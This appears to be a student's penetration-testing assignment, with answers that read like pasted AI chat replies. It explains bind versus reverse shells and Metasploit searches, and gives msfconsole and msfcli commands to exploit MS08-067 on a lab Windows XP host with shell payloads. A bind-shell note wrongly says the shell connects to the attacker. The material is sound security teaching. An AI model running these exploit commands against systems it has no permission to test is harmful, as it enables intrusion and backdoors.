

ASSIGNMENT-3 SOLUTION

1. Metasploit Basics Explain the difference between a bind shell and a reverse shell in Metasploit. Provide an example of when you would use each.

ANSWER:-

In **Metasploit** (and hacking in general), **bind shell** and **reverse shell** are two different ways of getting remote access to a target system. Here's the difference between them:

Bind Shell

- **How it works:** The **target machine** opens up a port and **listens** for incoming connections. The attacker then connects to that port.
- **Network Flow:** Attacker → Target
- **Use case:**
Use a **bind shell** when the **attacker can reach the target directly** (no firewall/NAT blocking incoming connections to the target).

Example: You found a vulnerable server on the internet that has an open port you can connect to directly. You exploit it using a bind shell payload, and then connect to that open port to gain control.

Reverse Shell

- **How it works:** The **target machine connects back** to the attacker's system. The attacker sets up a listener, and the shell "calls home" to the attacker.
- **Network Flow:** Target → Attacker
- **Use case:**
Use a **reverse shell** when the **target is behind a firewall/NAT**, and **can't accept incoming connections**, but **can make outgoing ones**.

Example: You exploit a Windows machine inside a corporate network that can browse the internet. You set up a listener (like with multi/handler) on your system, and use a reverse shell payload to make the target connect back to you.

✓ Summary

Feature	Bind Shell	Reverse Shell
Connection	Attacker → Target	Target → Attacker
Who listens	Target	Attacker
Firewall/NAT	Must allow inbound to target	Must allow outbound from target
Use when	You can directly connect to target	Target can reach you (outbound)

Let me know if you want to try this out in Metasploit or need help setting up a listener!

2. Searching for Exploits Use Metasploit to search for vulnerabilities related to Ubuntu. Write the command you used and list any two exploits you found.

ANSWER:-

To search for vulnerabilities related to **Ubuntu** in Metasploit, you use the search command.

🔍 Command:

search ubuntu

This command tells Metasploit to look through its database for any modules (exploits, payloads, etc.) related to Ubuntu.

☐ Example Exploits You Might Find:

1. **exploit/linux/http/cups_browsed_rce**

- **Title:** CUPS cups-browsed Remote Command Execution
- **Description:** Exploits a vulnerability in the CUPS printing system on some Ubuntu versions allowing remote code execution.

2. **exploit/linux/local/apport_privilege_escalation**

- **Title:** Ubuntu Apport Race Condition Privilege Escalation
- **Description:** A local privilege escalation exploit using a race condition in Apport, Ubuntu's crash reporting system.

If you're running Metasploit right now and want to dig deeper, you can also do:

search type:exploit platform:linux ubuntu

This will filter to only **exploits**, on **Linux**, related to **Ubuntu**. Want help using one of those exploits?

3. Exploit Module Configuration You have identified ms08_067_netapi as an exploit for a Windows XP target. Write the Metasploit commands to:

• **Use the exploit**

• **Show the available options**

• **Set the target IP to 192.168.1.100**

• **Set the payload to windows/shell reverse tcp**

ANSWER:-

Great! Here's how you would configure the **ms08_067_netapi** exploit module in **Metasploit** for a **Windows XP** target with IP 192.168.1.100 using the windows/shell/reverse_tcp payload.

📄 **Metasploit Commands:**

use exploit/windows/smb/ms08_067_netapi

show options

```
set RHOST 192.168.1.100
set payload windows/shell/reverse_tcp
show options
(Optional, if not already set)
set LHOST <your-attacking-IP>
exploit
```

Breakdown:

- use exploit/windows/smb/ms08_067_netapi — Loads the MS08-067 exploit module.
- show options — Displays configurable parameters like RHOST, LHOST, RPORT.
- set RHOST 192.168.1.100 — Sets the target IP address.
- set payload windows/shell/reverse_tcp — Selects the payload to get a reverse shell.
- set LHOST — Sets your **own IP** (listener), so the reverse shell knows where to connect back to.
- exploit — Launches the attack.

Let me know if you need help finding your LHOST IP or want to use a Meterpreter payload instead!

4. Msfcli Execution Using Msfcli, write a single command to exploit a Windows XP machine at 192.168.1.100 using ms08 067 netapi with a bind shell payload.

ANSWER:-

Sure! Here's how you'd use **msfcli** to exploit a Windows XP machine at 192.168.1.100 using the **ms08_067_netapi** exploit with a **bind shell** payload.

Msfcli Command:

```
msfcli exploit/windows/smb/ms08_067_netapi  
PAYLOAD=windows/shell/bind_tcp RHOST=192.168.1.100 E
```

Explanation:

- exploit/windows/smb/ms08_067_netapi — The exploit module.
 - PAYLOAD=windows/shell/bind_tcp — Sets the bind shell payload.
 - RHOST=192.168.1.100 — Target IP.
 - E — Executes the exploit.
-

Notes:

- With a **bind shell**, the target opens a port that you can connect to.
- You don't need to set LHOST because the shell connects to **you**.
- Msfcli is **deprecated** in newer versions of Metasploit, but it's still useful to know for legacy setups or CTFs.

Want to try the same with msfconsole instead or use a reverse shell instead of bind?

5. Understanding Exploit Execution After executing an exploit in Metasploit, explain what happens step by step when a reverse shell is used. Include:

• What Metasploit does when you run exploit

• How the target machine responds

• How the attacker gains access

ANSWER:-

Great question! Here's a **step-by-step breakdown** of what happens **when you execute an exploit in Metasploit using a reverse shell**:

□ **Step 1: You Run exploit in Metasploit**

- Metasploit **sends the exploit code** (based on the module you selected) to the **target machine**.
 - The exploit takes advantage of a **vulnerability** (e.g., MS08-067) to execute **arbitrary code** on the target system.
-

□ Step 2: Payload is Delivered

- If the exploit is successful, the **payload** (in this case, windows/shell/reverse_tcp) is **executed on the target**.
 - This payload is designed to **initiate a connection back** to the attacker (reverse shell).
-

🌐 Step 3: Target Machine Connects Back

- The target machine **calls back** to the attacker's machine, using the **LHOST** and **LPORT** settings you configured.
 - Metasploit is already **listening** for this connection with a handler (usually set up automatically).
-

🔒 Step 4: Reverse Shell Opens

- Once the connection is established, the attacker is dropped into a **command shell** of the target system.
 - This shell runs with the **privileges of the exploited process** — sometimes even **SYSTEM/admin** level access.
-

⚡ Step 5: Attacker Controls the Target

- Now you can:
 - Run commands (dir, whoami, etc.)
 - Upload/download files
 - Escalate privileges further
 - Maintain access (e.g., install a backdoor)

📌 Summary Table

Step	Action
1. Run Exploit	Sends exploit + payload to the target
2. Exploit Success	Payload executes on the target
3. Reverse Connection	Target initiates a connection back to the attacker
4. Shell Access	Attacker receives a shell over the connection
5. Full Control	Attacker interacts with the system via shell

Let me know if you want a visual diagram or want to simulate this on a lab setup!